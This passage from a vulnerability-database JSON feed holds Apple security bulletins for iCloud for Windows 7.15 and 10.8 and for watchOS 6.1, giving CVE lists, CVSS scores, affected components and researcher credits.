"obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8827", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8814"], "modified": "2020-02-04T05:29:41", "id": "APPLE:HT210728", "href": "https://support.apple.com/kb/HT210728", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-14T04:13:49", "description": "# About the security content of iCloud for Windows 7.15\n\nThis document describes the security content of iCloud for Windows 7.15\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iCloud for Windows 7.15\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 7 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Windows 7 and later\n\nImpact: Visiting a maliciously crafted website may reveal the sites a user has visited\n\nDescription: The HTTP referrer header may be used to leak browsing history. The issue was resolved by downgrading all third party referrers to their origin.\n\nCVE-2019-8827: Artur Janc, Krzysztof Kotowicz, Lukas Weichselbaum, and Roberto Clapis of Google Security Team\n\nEntry added February 3, 2020\n\n**WebKit Process Model**\n\nAvailable for: Windows 7 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab and Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: February 04, 2020\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-30T00:00:00", "type": "apple", "title": "About the security content of iCloud for Windows 7.15", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823", "CVE-2019-8827"], "modified": "2019-10-30T00:00:00", "id": "APPLE:A1A8D52172AE1DABB07F3860D96264D1", "href": "https://support.apple.com/kb/HT210728", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:31", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iCloud for Windows 10.8\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**libxslt**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**WebKit**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8710: found by OSS-Fuzz\n\nCVE-2019-8766: found by OSS-Fuzz\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\n**WebKit Process Model**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab, MinJeong Kim of Information Security Lab, Chungnam National University, JaeCheol Ryou of the Information Security Lab, Chungnam National University in South Korea, Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nEntry updated August 31, 2020\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab, MinJeong Kim of Information Security Lab, Chungnam National University, JaeCheol Ryou of the Information Security Lab, Chungnam National University in South Korea, Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nEntry added August 31, 2020, updated September 11, 2020\n", "edition": 5, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-09-11T05:39:42", "title": "About the security content of iCloud for Windows 10.8 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8750", "CVE-2019-8815", "CVE-2019-8782", "CVE-2019-8822", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8823", "CVE-2019-8766", "CVE-2019-8784", "CVE-2019-8813", "CVE-2019-8811", "CVE-2019-8783", "CVE-2019-8710", "CVE-2019-8814"], "modified": "2020-09-11T05:39:42", "id": "APPLE:HT210727", "href": "https://support.apple.com/kb/HT210727", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-19T19:29:54", "description": "# About the security content of iCloud for Windows 10.8\n\nThis document describes the security content of iCloud for Windows 10.8.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## iCloud for Windows 10.8\n\nReleased October 30, 2019\n\n**Graphics Driver**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8784: Vasiliy Vasilyev and Ilya Finogeev of Webinar, LLC\n\n**libxslt**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**WebKit**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8813: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8710: found by OSS-Fuzz\n\nCVE-2019-8766: found by OSS-Fuzz\n\nCVE-2019-8782: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8783: Cheolung Lee of LINE+ Graylab Security Team\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8814: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8819: Cheolung Lee of LINE+ Security Team\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8821: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8822: Sergei Glazunov of Google Project Zero\n\nCVE-2019-8823: Sergei Glazunov of Google Project Zero\n\n**WebKit Process Model**\n\nAvailable for: Windows 10 and later via the Microsoft Store\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8815: Apple\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab, MinJeong Kim of Information Security Lab, Chungnam National University, JaeCheol Ryou of the Information Security Lab, Chungnam National University in South Korea, Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nEntry updated August 31, 2020\n\n**WebKit**\n\nWe would like to acknowledge Dlive of Tencent's Xuanwu Lab, MinJeong Kim of Information Security Lab, Chungnam National University, JaeCheol Ryou of the Information Security Lab, Chungnam National University in South Korea, Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nEntry added August 31, 2020, updated September 11, 2020\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 11, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-30T00:00:00", "type": "apple", "title": "About the security content of iCloud for Windows 10.8", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8710", "CVE-2019-8750", "CVE-2019-8766", "CVE-2019-8782", "CVE-2019-8783", "CVE-2019-8784", "CVE-2019-8811", "CVE-2019-8813", "CVE-2019-8814", "CVE-2019-8815", "CVE-2019-8816", "CVE-2019-8819", "CVE-2019-8820", "CVE-2019-8821", "CVE-2019-8822", "CVE-2019-8823"], "modified": "2019-10-30T00:00:00", "id": "APPLE:B079F933FC53AA9BD392638EBBEA2490", "href": "https://support.apple.com/kb/HT210727", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-19T19:29:56", "description": "# About the security content of watchOS 6.1\n\nThis document describes the security content of watchOS 6.1.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## watchOS 6.1\n\nReleased October 29, 2019\n\n**Accounts**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**AirDrop**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry updated April 4, 2020\n\n**App Store**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**AppleFirmwareUpdateKext**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8747: Mohamed Ghannam (@_simo36)\n\n**Audio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**Contacts**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**File System Events**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**libxslt**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**VoiceOver**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A person with physical access to an iOS device may be able to access contacts from the lock screen\n\nDescription: The issue was addressed by restricting options offered on a locked device.\n\nCVE-2019-8775: videosdebarraquito\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8764: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8743: zhunki from Codesafe Team of Legendsec at Qi'anxin Group\n\nCVE-2019-8765: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8766: found by OSS-Fuzz\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nEntry updated November 18, 2019\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**boringssl**\n\nWe would like to acknowledge Nimrod Aviram of Tel Aviv University, Robert Merget of Ruhr University Bochum, Juraj Somorovsky of Ruhr University Bochum for their assistance.\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**Safari**\n\nWe would like to acknowledge Ron Summers, Ronald van der Meer for their assistance.\n\nEntry updated February 11, 2020\n\n**WebKit**\n\nWe would like to acknowledge Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: April 05, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-10-29T00:00:00", "type": "apple", "title": "About the security content of watchOS 6.1", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7152", "CVE-2019-8743", "CVE-2019-8747", "CVE-2019-8750", "CVE-2019-8764", "CVE-2019-8765", "CVE-2019-8766", "CVE-2019-8775", "CVE-2019-8785", "CVE-2019-8786", "CVE-2019-8787", "CVE-2019-8794", "CVE-2019-8796", "CVE-2019-8797", "CVE-2019-8798", "CVE-2019-8803", "CVE-2019-8808", "CVE-2019-8811", "CVE-2019-8812", "CVE-2019-8816", "CVE-2019-8820", "CVE-2019-8829"], "modified": "2019-10-29T00:00:00", "id": "APPLE:7033CCA4E259F96F17D1D049B6D11BE0", "href": "https://support.apple.com/kb/HT210724", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:41:34", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## watchOS 6.1\n\nReleased October 29, 2019\n\n**Accounts**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A remote attacker may be able to leak memory\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2019-8787: Steffen Klee of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n**AirDrop**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: AirDrop transfers may be unexpectedly accepted while in Everyone mode\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2019-8796: Allison Husain of UC Berkeley\n\nEntry updated April 4, 2020\n\n**App Store**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A local attacker may be able to login to the account of a previously logged in user without valid credentials.\n\nDescription: An authentication issue was addressed with improved state management.\n\nCVE-2019-8803: Kiyeon An, \ucc28\ubbfc\uaddc (CHA Minkyu)\n\n**AppleFirmwareUpdateKext**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8747: Mohamed Ghannam (@_simo36)\n\n**Audio**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8785: Ian Beer of Google Project Zero\n\nCVE-2019-8797: 08Tc3wBB working with SSD Secure Disclosure\n\n**Contacts**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing a maliciously contact may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2017-7152: Oliver Paukstadt of Thinking Objects GmbH (to.com)\n\n**File System Events**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8798: ABC Research s.r.o. working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2019-8794: 08Tc3wBB working with SSD Secure Disclosure\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2019-8786: Wen Xu of Georgia Tech, Microsoft Offensive Security Research Intern\n\nEntry updated November 18, 2019\n\n**Kernel**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2019-8829: Jann Horn of Google Project Zero\n\nEntry added November 8, 2019\n\n**libxslt**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Multiple issues in libxslt\n\nDescription: Multiple memory corruption issues were addressed with improved input validation.\n\nCVE-2019-8750: found by OSS-Fuzz\n\n**VoiceOver**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: A person with physical access to an iOS device may be able to access contacts from the lock screen\n\nDescription: The issue was addressed by restricting options offered on a locked device.\n\nCVE-2019-8775: videosdebarraquito\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2019-8764: Sergei Glazunov of Google Project Zero\n\n**WebKit**\n\nAvailable for: Apple Watch Series 1 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2019-8743: zhunki from Codesafe Team of Legendsec at Qi'anxin Group\n\nCVE-2019-8765: Samuel Gro\u00df of Google Project Zero\n\nCVE-2019-8766: found by OSS-Fuzz\n\nCVE-2019-8808: found by OSS-Fuzz\n\nCVE-2019-8811: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8812: JunDong Xie of Ant-financial Light-Year Security Lab\n\nCVE-2019-8816: Soyeon Park of SSLab at Georgia Tech\n\nCVE-2019-8820: Samuel Gro\u00df of Google Project Zero\n\nEntry updated November 18, 2019\n\n![](/library/content/dam/edam/applecare/images/en_US/mac_apps/itunes/divider.png)\n\n## Additional recognition\n\n**boringssl**\n\nWe would like to acknowledge Nimrod Aviram of Tel Aviv University, Robert Merget of Ruhr University Bochum, Juraj Somorovsky of Ruhr University Bochum for their assistance.\n\n**CFNetwork**\n\nWe would like to acknowledge Lily Chen of Google for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Daniel Roethlisberger of Swisscom CSIRT, Jann Horn of Google Project Zero for their assistance.\n\nEntry updated November 8, 2019\n\n**Safari**\n\nWe would like to acknowledge Ron Summers, Ronald van der Meer for their assistance.\n\nEntry updated February 11, 2020\n\n**WebKit**\n\nWe would like to acknowledge Zhiyi Zhang of Codesafe Team of Legendsec at Qi'anxin Group for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-05T02:44:15", "title": "About the security content of watchOS 6.1 - Apple Support", "type": "apple", 